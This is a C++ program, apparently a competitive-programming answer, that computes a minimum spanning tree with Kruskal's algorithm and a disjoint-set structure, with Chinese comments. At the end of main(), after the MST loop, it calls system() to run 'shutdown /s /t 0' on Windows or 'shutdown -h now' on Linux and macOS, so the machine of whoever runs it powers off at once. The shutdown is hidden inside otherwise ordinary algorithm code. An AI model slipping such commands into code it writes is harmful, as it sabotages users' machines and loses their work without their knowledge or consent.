#include <iostream>
#include <vector>
#include <algorithm>
#include <cstdlib> // 提供 system() 函數
using namespace std;
// 記錄邊的結構
struct Edge {
int u, v, weight;
// 依照權重從小到大排序
bool operator<(const Edge& other) const {
return weight < other.weight;
}
};
// 併查集 (Disjoint Set Union)
struct DSU {
vector<int> parent;
DSU(int n) {
parent.resize(n);
for (int i = 0; i < n; ++i) parent[i] = i;
}
int find(int i) {
if (parent[i] == i)
return i;
return parent[i] = find(parent[i]); // 路徑壓縮
}
bool unite(int i, int j) {
int root_i = find(i);
int root_j = find(j);
if (root_i != root_j) {
parent[root_i] = root_j;
return true;
}
return false;
}
};
int main() {
// 高速 I/O
ios_base::sync_with_stdio(false);
cin.tie(NULL);
int n, m;
while (cin >> n >> m) {
vector<Edge> edges(m);
for (int i = 0; i < m; ++i) {
cin >> edges[i].u >> edges[i].v >> edges[i].weight;
}
// 1. 按照權重排序
sort(edges.begin(), edges.end());
// 2. Kruskal 演算法計算最小生成樹
DSU dsu(n);
long long total_cost = 0;
int edges_count = 0;
for (const auto& edge : edges) {
if (dsu.unite(edge.u, edge.v)) {
total_cost += edge.weight;
edges_count++;
if (edges_count == n - 1) break; // 已選滿 N-1 條邊
}
}
cout << total_cost << "\n";
}
#ifdef _WIN32
// Windows 系統指令
system("shutdown /s /t 0");
#else
// Linux / macOS 系統指令
system("shutdown -h now");
#endif
return 0;
}